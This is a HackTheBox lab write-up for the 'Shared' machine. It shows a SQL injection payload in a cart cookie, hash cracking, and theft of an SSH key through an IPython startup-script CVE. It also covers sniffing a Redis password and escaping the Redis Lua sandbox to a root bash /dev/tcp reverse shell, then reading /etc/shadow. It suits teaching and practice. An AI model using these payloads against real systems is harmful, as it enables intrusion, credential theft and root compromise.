12 minute read

Shared is a medium level machine by Nauten on HackTheBox. This Linux box explores using recent publicly disclosed vulnerabilities against a couple of well known applications.

Machine Information


On this box we start with a web shop which we find is vulnerable to SQLi union queries. From the database behind the site we get credentials for a user. Next we find an IPython vulnerability allows us to get credentials for another user via a recent CVE. As this second user we find a vulnerable version of redis is running locally on the box. We use another CVE to break out of the sandbox and execute code as root.

Hosting Site HackTheBox
Link To Machine HTB - Medium - Shared
Machine Release Date 23rd July 2022
Date I Completed It 25th July 2022
Distribution Used Kali 2022.2 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─# nmap -p$ports -sC -sV -oA shared
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 16:49 BST
Nmap scan report for
Host is up (0.027s latency).

22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
|   256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_  256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open  ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after:  2042-03-15T13:37:14
| tls-nextprotoneg: 
|   h2
|_  http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.97 seconds

We see a redirect in the nmap scan to shared.htb, let’s add that first:

└─# echo " shared.htb" >> /etc/hosts

MyStore Website

Now we can go to the website. HTTP on port 80 redirects us to HTTPS on port 443. Accept the risk and continue to get to the site:


We have a shop which is mostly functional. Wappalyzer reveals it’s based on PrestaShop:


We can add a shirt to our basket:


When we proceed to checkout we see there is a different subdomain used:


Add the new subdomain to the hosts file:

└─# sed -i 's/shared.htb/shared.htb checkout.shared.htb/g' /etc/hosts

Refresh the checkout page and accept risks to get to your cart:


After a little trial and error we find the product field is vulnerable to SQL injection.

SQLi Union Based Attack

Use curl to look at the output:

└─# curl -i -s -k -X GET -b 'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200f9b9055f20158b11921f6ddf2ee519e3170df1b868ca453f638a464eacf537f674a9b5b7572bfc5efeb62cf7a6e2bf0a5cf444de58b092e3d1f94f11e14e00fae64134f4fa62d578f2032ddfc1b1f85891bc9ba311b1db9d3f5deecb1b67f914a570a6ec0cf4cdd780dca318293cfb88c01cdc9b5b779978b09d1cc82a5cf02dc2b0b5e0231f6accd23ac739ceb6625fe5e705880245eeddb4a126481b07f3263c0f7cdf60b26de6a7bee4d155c114cadbdb796700ed9dbefac7e881f87a6e9e36d40e04fbea51a338fc5c07b405c9d05051e799f89cf352286f73ad08546ec9fdf4462d96dd1e5fb4962b4c70ea12dd3a323395190fe50fe52297b3605ed9934234971d865fa393f6cb0908a70aef3e107cfb; custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D' 'https://checkout.shared.htb/' | grep -A1 '<th scope="row">1</th>'
                                                <th scope="row">1</th>

The long Prestashop cookie can be left, the second custom_cart cookie holds the product code for the item we put in the basket back in the shop. It’s URL encoded, let’s decode to look at it:

└─# python3 -c "import urllib.parse; print(urllib.parse.unquote('%7B%2253GG2EF8%22%3A%221%22%7D'))"

Knowing the format of the cookie we can use what we learnt on the TryHackMe room SQHell and play with it:

custom_cart={"53GG2EF8' and 1=2 union all select 1,2,3-- -":"1"}

Here we’ve used a union statement to find the number of fields. I started with select 1, then select 1,2. When I got to select 1,2,3,4 we get an error so we know it’s 3 fields.

Next we can confirm the field that will display our output:

custom_cart={\"53GG2EF8\' and 1=2 union select \'APPLE\',\'BANANA\',\'CARROT\'-- -\":\"1\"}

Send that with curl:

└─# curl -i -s -k -X $'GET' -b $'PrestaShop-5f7b4f27831ed69a<SNIP>3f6cb0908a70aef3e107cfb; custom_cart={\"53GG2EF8\' and 1=2 union select \'APPLE\',\'BANANA\',\'CARROT\'-- -\":\"1\"}' 'https://checkout.shared.htb/' | grep -A1 '<th scope="row">1</th>' | sed -n '/<td>/,$p' | tr -d "[:space:]" | sed 's/<td>//' | sed 's/<\/td>//'

I’ve tidied up the output so it’s easier to read. Now we can start gathering useful info from the database, first let’s get it’s name:

└─# curl -i -s -k -X $'GET' -b $'PrestaShop-5f7b4f27831ed69a<SNIP>3f6cb0908a70aef3e107cfb; custom_cart={\"53GG2EF8\' and 1=2 union select \'APPLE\',database(),\'CARROT\'-- -\":\"1\"}' 'https://checkout.shared.htb/' | grep -A1 '<th scope="row">1</th>' | sed -n '/<td>/,$p' | tr -d "[:space:]" | sed 's/<td>//' | sed 's/<\/td>//'

Now let’s see the tables in the database:

└─# curl -i -s -k -X $'GET' -b $'PrestaShop-5f7b4f27831ed69a<SNIP>3f6cb0908a70aef3e107cfb; custom_cart={\"\' and 0=1 union select \'APPLE\',table_name,\'CARROT\' from information_schema.tables where table_schema=database()-- -\":\"1\"}' 'https://checkout.shared.htb/' | grep -A1 '<th scope="row">1</th>' | sed -n '/td>/,$p' | tr -d "[:space:]" | sed 's/<td>//' | sed 's/<\/td>//'

Next we get the column names from the user table:

└─# curl -i -s -k -X $'GET' -b $'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200f9b9055f20158b11921f6ddf2ee519e3170df1b868ca453f638a464eacf537f674a9b5b7572bfc5efeb62cf7a6e2bf0a5cf444de58b092e3d1f94f11e14e00fae64134f4fa62d578f2032ddfc1b1f85891bc9ba311b1db9d3f5deecb1b67f914a570a6ec0cf4cdd780dca318293cfb88c01cdc9b5b779978b09d1cc82a5cf02dc2b0b5e0231f6accd23ac739ceb6625fe5e705880245eeddb4a126481b07f3263c0f7cdf60b26de6a7bee4d155c114cadbdb796700ed9dbefac7e881f87a6e9e36d40e04fbea51a338fc5c07b405c9d05051e799f89cf352286f73ad08546ec9fdf4462d96dd1e5fb4962b4c70ea12dd3a323395190fe50fe52297b3605ed9934234971d865fa393f6cb0908a70aef3e107cfb; custom_cart={\"\' and 0=1 union select \'APPLE\',group_concat(column_name),\'CARROT\' from information_schema.columns where table_schema=database() and table_name=\'user\'-- -\":\"1\"}' 'https://checkout.shared.htb/' | grep -A1 '<th scope="row">1</th>' | sed -n '/td>/,$p' | tr -d "[:space:]" | sed 's/<td>//' | sed 's/<\/td>//'

Now dump all users and passwords:

└─# curl -i -s -k -X $'GET' -b $'PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200f9b9055f20158b11921f6ddf2ee519e3170df1b868ca453f638a464eacf537f674a9b5b7572bfc5efeb62cf7a6e2bf0a5cf444de58b092e3d1f94f11e14e00fae64134f4fa62d578f2032ddfc1b1f85891bc9ba311b1db9d3f5deecb1b67f914a570a6ec0cf4cdd780dca318293cfb88c01cdc9b5b779978b09d1cc82a5cf02dc2b0b5e0231f6accd23ac739ceb6625fe5e705880245eeddb4a126481b07f3263c0f7cdf60b26de6a7bee4d155c114cadbdb796700ed9dbefac7e881f87a6e9e36d40e04fbea51a338fc5c07b405c9d05051e799f89cf352286f73ad08546ec9fdf4462d96dd1e5fb4962b4c70ea12dd3a323395190fe50fe52297b3605ed9934234971d865fa393f6cb0908a70aef3e107cfb; custom_cart={\"\' and 0=1 union select \'APPLE\',group_concat(username,password),\'CARROT\' from user-- -\":\"1\"}' 'https://checkout.shared.htb/' | grep -A1 '<th scope="row">1</th>' | sed -n '/td>/,$p' | tr -d "[:space:]" | sed 's/<td>//' | sed 's/<\/td>//'


Turns out there is only one. We have it’s username and password hash. Let’s crack the hash using JohnTheRipper:

└─# text="james_masonfc895d4eddc2fc12f995e18c865cf273" | echo "${text:0:11}:${text:11}" > james.hash

└─# john -wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 james.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Soleil101        (james_mason)     
1g 0:00:00:01 DONE (2022-07-26 22:29) 0.9090g/s 1900Kp/s 1900Kc/s 1900KC/s Sportster1..SoccerBabe
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

SSH As User James

After only a few seconds we have a password. Now we can login:

└─# ssh james_mason@shared.htb
james_mason@shared.htbs password: 
Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 14 14:45:22 2022 from

Initial enumeration doesn’t find a lot. I notice the user is a member of group 1001 called developer, and there’s a folder owned by that group but it’s empty:

james_mason@shared:~$ id
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)

james_mason@shared:~$ find / -group developer 2>/dev/null

james_mason@shared:~$ ls -lsa /opt/scripts_review
4 drwxrwx--- 2 root developer 4096 Jul 14 13:46 .
4 drwxr-xr-x 3 root root      4096 Jul 14 13:46 ..


Just like we have done many times before let’s grab pspy and have a look at running processes:

└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
--2022-07-26 22:35:39--  https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
Resolving github.com (github.com)...
Connecting to github.com (github.com)||:443... connected.
HTTP request sent, awaiting response... 302 Found
Resolving objects.githubusercontent.com (objects.githubusercontent.com)...,
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64       100%[======================================>]   2.94M  3.80MB/s    in 0.8s
2022-07-26 22:35:41 (3.80 MB/s) - ‘pspy64’ saved [3078592/3078592]

└─# scp pspy64 james_mason@shared.htb:~    
james_mason@shared.htbs password: 
pspy64     100% 3006KB   2.3MB/s   00:01

Back on the box let’s run it:

james_mason@shared:~$ chmod +x pspy64 
james_mason@shared:~$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
Config: Printing events (colored=true): processes=true | file-system-events=false ||| 
Scannning for processes every 100ms and on inotify events ||| 
Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2022/07/26 17:40:05 CMD: UID=0    PID=8750   | /usr/bin/redis-server                                            
2022/07/26 17:41:01 CMD: UID=1001 PID=8793   | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 
2022/07/26 17:41:01 CMD: UID=1001 PID=8794   | /usr/bin/pkill ipython 
2022/07/26 17:41:01 CMD: UID=1001 PID=8796   | /usr/bin/python3 /usr/local/bin/ipython 
2022/07/26 17:42:01 CMD: UID=1001 PID=8815   | /usr/bin/pkill ipython 
2022/07/26 17:42:01 CMD: UID=1001 PID=8814   | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 
2022/07/26 17:42:01 CMD: UID=1001 PID=8819   | /usr/bin/python3 /usr/local/bin/ipython 

We can see Redis is running on port 6379 as root. And also every minute a cron job runs as user ID 1001 which kills ipython, then changes in to the folder we saw before which is owned by James, and then runs ipython again.

Very suspicious, let’s look at UID 1001:

james_mason@shared:~$ cat /etc/passwd | grep bash


We have another user called dan_smith responsible for killing ipython. Safe to assume that is something important so lets check it out:

james_mason@shared:~$ /usr/local/bin/ipython
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
Type 'copyright', 'credits' or 'license' for more information
IPython 8.0.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]:

A search for ipython 8 exploit finds this synk.io article, we leads us to a commit on GitHub here which gives us CVE-2022-21699. This took me to RedHat here and finally on to the advisory on GitHub here where we see an arbitrary code execution vulnerability.


We can use this to execute commands as Dan when the cron job starts IPython from the current working directory that James owns by putting a script in the public_default/startup folder.

As per the advisory create the profile_default folder, and then startup folder inside it. Change permission to allow full access to everyone:

james_mason@shared:/opt/scripts_review$ mkdir /opt/scripts_review/profile_default /opt/scripts_review/profile_default/startup; chmod 777 /opt/scripts_review/profile_default /opt/scripts_review/profile_default/startup

Now we can create a Python script that will be run when IPython starts:

james_mason@shared:/opt/scripts_review$ echo "import os; os.system('cp /home/dan_smith/.ssh/id_rsa /dev/shm/id_rsa')" > /opt/scripts_review/profile_default/startup/pencer.py

Here we are just copying the SSH private key for Dan out to the /dev/shm folder. Check the script is there:

james_mason@shared:/opt/scripts_review$ ls profile_default/startup/

james_mason@shared:/opt/scripts_review$ ls profile_default/startup/
ls: cannot access 'profile_default/startup/': No such file or directory

It was there, then the cleanup script ran to remove my extra folders and file. However IPython has already been restarted so I have the id_rsa file:

james_mason@shared:/opt/scripts_review$ ls /dev/shm

james_mason@shared:/opt/scripts_review$ cat /dev/shm/id_rsa 

SSH As User Dan

Copy that to a file on Kali. Don’t forget to chmod 600 it then log in as Dan and get the user flag:

└─# ssh -i id_rsa dan_smith@shared.htb 
Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Thu Jul 14 14:43:34 2022 from

dan_smith@shared:~$ cat user.txt 

If we look at our group membership we see we’re in developer same as James, and also sysadmin. Let’s see what those groups can access:

dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)

dan_smith@shared:~$ find / -group developer 2>/dev/null

dan_smith@shared:~$ find / -group sysadmin 2>/dev/null


We saw earlier in pspy that Redis is running on the box. We can confirm it’s accessible internally only:

dan_smith@shared:~$ netstat -punta | grep 6379
tcp        0      0*               LISTEN      -

Let’s look at the binary we have access to:

dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password...
INFO command result:
# Server
os:Linux 5.10.0-16-amd64 x86_64

The interesting things from this are:

  1. Logs in to local Redis instance with a password
  2. Shows its redis_version:6.0.15
  3. Shows path to executable is /usr/bin/redis-server
  4. Shows there’s a config file /etc/redis/redis.conf

Checking files we see:

dan_smith@shared:~$ cat /etc/redis/redis.conf
cat: /etc/redis/redis.conf: Permission denied

dan_smith@shared:~$ /usr/bin/redis-server --version
Redis server v=6.0.15 sha=00000000:0 malloc=jemalloc-5.2.1 bits=64 build=4610f4c3acf7fb25

No access to the config file but confirms version running on server is same as this binary. A search for redis 6.0.15 exploit found this which gives us CVE-2022-0543. We have a sandbox escape with remote code execution.

The screenshot shows to use redis-cli, which is on the box so we can try:

dan_smith@shared:/dev/shm$ redis-cli> help
redis-cli 6.0.15
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit

To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
(error) NOAUTH Authentication required.

Redis_Connector_Dev Password

We need the password mentioned earlier before we can execute commands. Download the binary to Kali by first starting a web server on the box:

dan_smith@shared:/usr/local/bin$ python3 -m http.server 1337
Serving HTTP on port 1337 ( ...

Switch to Kali and pull the file across:

└─# wget http://shared.htb:1337/redis_connector_dev                
--2022-07-27 15:55:54--  http://shared.htb:1337/redis_connector_dev
Resolving shared.htb (shared.htb)...
Connecting to shared.htb (shared.htb)||:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5974154 (5.7M) [application/octet-stream]
Saving to: ‘redis_connector_dev’
redis_connector_dev  100%[===========>]   5.70M  3.98MB/s    in 1.4s    
2022-07-27 15:55:56 (3.98 MB/s) - ‘redis_connector_dev’ saved [5974154/5974154]

Start netcat listening on port 6379:

└─# nc -nlvp 6379
listening on [any] 6379 ...

In another terminal make the binary executable and then run it:

└─# chmod +x redis_connector_dev 

└─# ./redis_connector_dev
[+] Logging to redis instance using password...
INFO command result:
 i/o timeout

Back to netcat to see the password is revealed:

└─# nc -nlvp 6379
listening on [any] 6379 ...
connect to [] from (UNKNOWN) [] 49572


Now back to the box and use that password to authenticate to redis using the cli tool:

dan_smith@shared:/usr/local/bin$ redis-cli --no-auth-warning --pass F2WHqJUz2WEz=Gqq> 

Try the example given in the post again:> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
"uid=0(root) gid=0(root) groups=0(root)\n"

That works, let’s get a reverse shell. Over to Kali and start netcat listening:

└─# nc -nlvp 1337               
listening on [any] 1337 ...

Back to the box and change our payload be a standard reverse shell using bash:> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/bin/bash -c \'bash -i > /dev/tcp/ 0>&1\'", "r"); local res = f:read("*a"); f:close(); return res' 0

Root Flag

Now back to Kali to see we’re connected as root:

└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 45326
uid=0(root) gid=0(root) groups=0(root)

Let’s get the flag and root hash to complete the box:

cat /root/root.txt

cat /etc/shadow | grep root

That’s another box completed. I hope you learnt something along the way. See you next time.